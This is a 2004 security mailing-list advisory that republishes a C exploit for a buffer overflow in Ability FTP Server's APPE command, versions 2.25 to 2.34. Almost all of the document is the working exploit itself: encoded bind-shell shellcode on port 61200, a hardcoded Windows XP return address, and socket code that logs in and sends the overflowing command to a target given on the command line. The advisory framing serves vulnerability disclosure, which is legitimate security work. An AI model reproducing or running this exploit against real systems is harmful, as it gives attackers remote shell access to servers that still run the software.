Date: 16 Dec 2004 12:29:11 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]Subject: [EXPL] Ability FTP APPE Buffer Overflow
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Ability FTP APPE Buffer Overflow
------------------------------------------------------------------------
SUMMARY
Presented below is a C based exploit code that exploits a vulnerability in
Ability FTP Server's vulnerable APPE command.
DETAILS
Vulnerable Systems:
* Ability FTP Server version 2.25 up to version 2.34 (inclusive)
Exploit:
/*
TESTED ON WINXP SP0 RUS
(c) by Dark Eagle
from unl0ck research team
http://unl0ck.void.ru
HAPPY NEW YEAR!
Greetz go out to: nekd0, antiq, fl0wsec (setnf, nuTshell), nosystem
(CoKi), reflux...
*/
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
// shellc0de by m00 team bind 61200
char shellcode[]=
"\x90\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\xBB\x40\x81\x38\x6D"
"\x30\x30\x21\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\x52\xD7\xBA"
"\xBB\xBB\xE6\xEE\x8A\x60\xDF\x30\xB8\xFB\x28\x30\xF8\x44\xFB"
"\xCE\x42\x30\xE8\xB8\xDD\x8A\x69\xDD\x03\xBB\xAB\xDD\x3A\x81"
"\xF6\xE1\xCF\xBC\x92\x79\x52\x49\x44\x44\x44\x32\x68\x30\xC1"
"\x87\xBA\x6C\xB8\xE4\xC3\x30\xF0\xA3\x30\xC8\x9B\x30\xC0\x9F"
"\xBA\x6D\xBA\x6C\x47\x16\xBA\x6B\x2D\x3C\x46\xEA\x8A\x72\x3B"
"\x7A\xB4\x48\x1D\xC9\xB1\x2D\xE2\x3C\x46\xCF\xA9\xFC\xFC\x59"
"\x5D\x05\xB4\xBB\xBB\xBB\x92\x75\x92\x4C\x52\x53\x44\x44\x44"
"\x8A\x7B\xDD\x30\xBC\x7A\x5B\xB9\x30\xC8\xA7\xBA\x6D\xBA\x7D"
"\x16\xBA\x6B\x32\x7D\x32\x6C\xE6\xEC\x36\x26\xB4\xBB\xBB\xBB"
"\xE8\xEC\x44\x6D\x36\x26\xE8\xBB\xBB\xBB\xE8\x44\x6B\x32\x7C"
"\x36\x3E\xE1\xBB\xBB\xBB\xEB\xEC\x44\x6D\x36\x36\x2C\xBB\xBB"
"\xBB\xEA\xD3\xB9\xBB\xBB\xBB\x44\x6B\x36\x26\xDE\xBB\xBB\xBB"
"\xE8\xEC\x44\x6D\x8A\x72\xEA\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB"
"\xD3\xB9\xBB\xBB\xBB\x44\x6B\x32\x78\x36\x3E\xCB\xBB\xBB\xBB"
"\xEB\xEC\x44\x6D\xD3\xAB\xBB\xBB\xBB\x36\x36\x38\xBB\xBB\xBB"
"\xEA\xE8\x44\x6B\x36\x3E\xCE\xBB\xBB\xBB\xEB\xEC\x44\x6D\xD3"
"\xBA\xBB\xBB\xBB\xE8\x44\x6B\x36\x3E\xC7\xBB\xBB\xBB\xEB\xEC"
"\x44\x6D\x8A\x72\xEA\xEA\xE8\x44\x6B\xE4\xEB\x36\x26\xFC\xBB"
"\xBB\xBB\xE8\xEC\x44\x6D\xD3\x44\xBB\xBB\xBB\xD3\xFB\xBB\xBB"
"\xBB\x44\x6B\x32\x78\x36\x36\x93\xBB\xBB\xBB\xEA\xEC\x44\x6D"
"\xE8\x44\x6B\xE3\x32\xF8\xFB\x32\xF8\x87\x32\xF8\x83\x7C\xF8"
"\x97\xBA\xBA\xBB\xBB\x36\x3E\x83\xBB\xBB\xBB\xEB\xEC\x44\x6D"
"\xE8\xE8\x8A\x72\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB\xEA\xEA\x36"
"\x26\x04\xBB\xBB\xBB\xE8\xEA\x44\x6B\x36\x3E\xA7\xBB\xBB\xBB"
"\xEB\xEC\x44\x6D\x44\x6B\x53\x34\x45\x44\x44\xFC\xDE\xCF\xEB"
"\xC9\xD4\xD8\xFA\xDF\xDF\xC9\xDE\xC8\xC8\xBB\xF7\xD4\xDA\xDF"
"\xF7\xD2\xD9\xC9\xDA\xC9\xC2\xFA\xBB\xFE\xC3\xD2\xCF\xEB\xC9"
"\xD4\xD8\xDE\xC8\xC8\xBB\xFC\xDE\xCF\xE8\xCF\xDA\xC9\xCF\xCE"
"\xCB\xF2\xD5\xDD\xD4\xFA\xBB\xF8\xC9\xDE\xDA\xCF\xDE\xEB\xC9"
"\xD4\xD8\xDE\xC8\xC8\xFA\xBB\xFC\xD7\xD4\xD9\xDA\xD7\xFA\xD7"
"\xD7\xD4\xD8\xBB\xCC\xC8\x89\xE4\x88\x89\xBB\xEC\xE8\xFA\xE8"
"\xCF\xDA\xC9\xCF\xCE\xCB\xBB\xEC\xE8\xFA\xE8\xD4\xD8\xD0\xDE"
"\xCF\xFA\xBB\xD9\xD2\xD5\xDF\xBB\xD7\xD2\xC8\xCF\xDE\xD5\xBB"
"\xDA\xD8\xD8\xDE\xCB\xCF\xBB\xB9\xBB\x54\xAB\xBB\xBB\xBB\xBB"
"\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBA\xBB\xBB\xBB\xBB\xBB\xBB"
"\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"
"\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"
"\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xD8\xD6\xDF\xBB\x6D\x30\x30\x21";
int conn(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
WSADATA wsa;
struct sockaddr_in sa;
WSAStartup(MAKEWORD(2,0), &wsa);
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
printf("gethostbyname() error!\n"); exit(0);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
printf("socket\n");
exit(0);
}
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
{printf("connect() error!\n");
exit(0);
}
printf("connected to %s\n", host);
return sock;
}
void login(int sock, char *login, char *pass)
{
// SECU
FILE *file;
char ubuf[1000], pbuf[1000], rc[200];
int i;
char bochka[2000], med[2000];
file = fopen("bochka.txt", "w+");
memset(bochka, 0x00, 2000);
memset(bochka, 0x43, 1000);
*(long*)&bochka[969] = 0x77F5801C; // ntdll.dll JMP ESP ADDR...
memcpy(bochka+strlen(bochka), &shellcode, sizeof(shellcode));
sprintf(med, "APPE %s\r\n", bochka);
fprintf(file, "%s", med);
if ( strlen(pass) >= 100 ) { printf("2 long password!\n"); exit(0);
}
if ( strlen(login) >= 100 ) { printf("2 long login!\n"); exit(0); }
sprintf(ubuf, "USER %s\r\n", login);
send(sock, ubuf, strlen(ubuf), 0);
printf("USER sending...\n");
Sleep(1000);
printf("OK!\n");
sprintf(pbuf, "PASS %s\r\n", pass);
send(sock, pbuf, strlen(pbuf), 0);
printf("PASS sending...\n");
Sleep(1000);
recv(sock, rc, 200, 0);
if ( strstr(rc, "530")) {printf("Bad password!\n"); exit(0); }
printf("OK!\n");
Sleep(1000);
printf("Sending 604KY C MEDOM!\n");
send(sock, med, strlen(med), 0);
Sleep(1000);
printf("TrY To CoNnEcT tO...\n\n");
}
int main(int argc, char **argv)
{
int sock = 0;
int data;
printf("\nAbility FTP Server <= 2.34 R00T exploit\n");
printf("by Dark Eagle [ unl0ck team ]\nhttp://unl0ck.void.ru\n\n");
if ( argc < 4 ) { printf("usage: un-aftp.exe <host> <username>
<password>\n\n"); exit(0); }
sock = conn(argv[1], 21);
login(sock, argv[2], argv[3]);
closesocket(sock);
Sleep(2000);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by Dark Eagle.
The original article can be found at:
<http://unl0ck.void.ru/exploits/un-aftpd.c>;
http://unl0ck.void.ru/exploits/un-aftpd.c
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
